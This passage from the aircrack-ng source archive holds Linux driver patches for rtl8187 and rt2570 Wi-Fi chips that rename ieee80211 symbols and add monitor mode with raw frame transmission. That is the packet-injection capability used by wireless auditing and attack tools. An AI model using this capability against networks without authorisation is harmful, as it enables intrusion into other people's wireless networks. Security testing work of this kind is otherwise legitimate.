payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +463,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +487,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-05-26 10:38:07.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-05-26 10:39:10.000000000 +0200 @@ -0,0 +1,36 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. aircrack-ng-1.2-beta3/patches/old/rt2570-cvs-20050824.patch0000644000000000000000000001113010761053203021104 0ustar rootrootdiff -ur ../rt2570-cvs-20050824/Module/mlme.c ./Module/mlme.c --- ../rt2570-cvs-20050824/Module/mlme.c 2005-08-17 11:00:39.000000000 +0200 +++ ./Module/mlme.c 2005-08-24 11:53:01.000000000 +0200 @@ -1690,7 +1690,7 @@ } else { - pAd->PortCfg.TxRate = min((INT)(pAd->PortCfg.MaxTxRate), RATE_11); + pAd->PortCfg.TxRate = min((INT)(pAd->PortCfg.MaxTxRate), RATE_5_5); } } } diff -ur ../rt2570-cvs-20050824/Module/rtusb_bulk.c ./Module/rtusb_bulk.c --- ../rt2570-cvs-20050824/Module/rtusb_bulk.c 2005-07-19 10:20:46.000000000 +0200 +++ ./Module/rtusb_bulk.c 2005-08-24 15:40:14.000000000 +0200 @@ -107,7 +107,8 @@ NdisReleaseSpinLock(&pAdapter->BulkOutLock); return; } - else if (pAdapter->MediaState == NdisMediaStateDisconnected) + else if (pAdapter->MediaState == NdisMediaStateDisconnected && + pAdapter->PortCfg.BssType != BSS_MONITOR) { // // Since there is no connection, so we need to empty the Tx Bulk out Ring. diff -ur ../rt2570-cvs-20050824/Module/rtusb_data.c ./Module/rtusb_data.c --- ../rt2570-cvs-20050824/Module/rtusb_data.c 2005-08-17 11:00:39.000000000 +0200 +++ ./Module/rtusb_data.c 2005-08-24 15:37:06.000000000 +0200 @@ -84,7 +84,8 @@ return 0; } // Drop packets if no associations - else if (!INFRA_ON(pAdapter) && !ADHOC_ON(pAdapter)) + else if (!INFRA_ON(pAdapter) && !ADHOC_ON(pAdapter) && + pAdapter->PortCfg.BssType != BSS_MONITOR) { RTUSBFreeSkbBuffer(skb); return 0; @@ -141,6 +142,14 @@ Priority = 0; AccessCategory = 0; + if (skb && pAdapter->PortCfg.BssType == BSS_MONITOR) + { + NdisAcquireSpinLock(&pAdapter->SendTxWaitQueueLock); + skb_queue_tail(&pAdapter->SendTxWaitQueue, skb); + NdisReleaseSpinLock(&pAdapter->SendTxWaitQueueLock); + return (NDIS_STATUS_SUCCESS); + } + if (skb) { Priority = skb->priority; @@ -806,6 +815,36 @@ DBGPRINT(RT_DEBUG_ERROR, "Error, Null skb data buffer!!!\n"); return (NDIS_STATUS_FAILURE); } + + if (pAdapter->PortCfg.BssType == BSS_MONITOR) + { + pTxContext = &pAdapter->TxContext[pAdapter->NextTxIndex]; + pTxContext->InUse = TRUE; + pTxContext->LastOne = TRUE; + + pAdapter->NextTxIndex++; + if (pAdapter->NextTxIndex >= TX_RING_SIZE) + pAdapter->NextTxIndex = 0; + + pTxD = &(pTxContext->TransferBuffer->TxDesc); + memset(pTxD, 0, sizeof(TXD_STRUC)); + pDest = pTxContext->TransferBuffer->WirelessPacket; + + memcpy( pDest, skb->data, skb->len ); + + RTUSBWriteTxDescriptor(pTxD, FALSE, 0, FALSE, FALSE, TRUE, IFS_BACKOFF, skb->len, FALSE, 0, CW_MIN_IN_BITS, CW_MAX_IN_BITS, skb->len + 4, pAdapter->PortCfg.TxRate, 4, pAdapter->PortCfg.TxPreambleInUsed); + + TransferBufferLength = skb->len + sizeof(TXD_STRUC); + if ((TransferBufferLength % 2) == 1) + TransferBufferLength++; + + pTxContext->BulkOutSize = TransferBufferLength; + atomic_inc(&pAdapter->TxCount); + RTUSB_SET_BULK_FLAG(pAdapter, fRTUSB_BULK_OUT_DATA_FRAG); + RTUSBFreeSkbBuffer(skb); + return (NDIS_STATUS_SUCCESS); + } + if (NdisBufferLength < 14) { DBGPRINT_RAW(RT_DEBUG_ERROR, "RTUSBHardEncrypt --> Ndis Packet buffer error !!!\n"); diff -ur ../rt2570-cvs-20050824/Module/rtusb_info.c ./Module/rtusb_info.c --- ../rt2570-cvs-20050824/Module/rtusb_info.c 2005-08-17 11:00:39.000000000 +0200 +++ ./Module/rtusb_info.c 2005-08-24 12:11:05.000000000 +0200 @@ -200,6 +200,12 @@ pAdapter->PortCfg.IbssConfig.Channel = chan; DBGPRINT(RT_DEBUG_ERROR, "<==SIOCSIWFREQ[cmd=0x%x] (Channel=%d)\n", SIOCSIWFREQ, pAdapter->PortCfg.IbssConfig.Channel); + if (pAdapter->PortCfg.BssType == BSS_MONITOR) + { + pAdapter->PortCfg.Channel = pAdapter->PortCfg.IbssConfig.Channel; + AsicSwitchChannel(pAdapter, pAdapter->PortCfg.Channel); + AsicLockChannel(pAdapter, pAdapter->PortCfg.Channel); + } return 0; } @@ -288,10 +294,15 @@ __u32 *mode, char *extra) { PRT2570ADAPTER pAdapter = (PRT2570ADAPTER) dev->priv; - if (ADHOC_ON(pAdapter)) - *mode = IW_MODE_ADHOC; + if (pAdapter->PortCfg.BssType == BSS_MONITOR) + *mode = IW_MODE_MONITOR; else - *mode = IW_MODE_INFRA; + { + if (ADHOC_ON(pAdapter)) + *mode = IW_MODE_ADHOC; + else + *mode = IW_MODE_INFRA; + } DBGPRINT(RT_DEBUG_TEMP,"--->rtusb_ioctl_giwmode\n"); return 0; } diff -ur ../rt2570-cvs-20050824/Module/sync.c ./Module/sync.c --- ../rt2570-cvs-20050824/Module/sync.c 2005-07-27 17:54:29.000000000 +0200 +++ ./Module/sync.c 2005-08-24 14:31:58.000000000 +0200 @@ -203,6 +203,9 @@ UCHAR Ssid[MAX_LEN_OF_SSID], SsidLen, ScanType, BssType; ULONG Now; + if (pAd->PortCfg.BssType == BSS_MONITOR) + return; + DBGPRINT(RT_DEBUG_INFO, "SYNC - MlmeScanReqAction\n"); #if 0 // Check the total scan tries for one single OID command aircrack-ng-1.2-beta3/patches/old/rtl8187_2.6.20v3.patch0000644000000000000000000073070110761053203020671 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_txpower/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/ieee80211.h 2007-04-23 00:08:15.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_txpower/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_93cx6.c 2007-04-23 00:08:11.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_txpower/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_hw.h 2007-04-23 00:08:15.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_txpower/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.c 2007-04-23 00:08:11.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_txpower/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.h 2007-04-23 00:08:15.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void 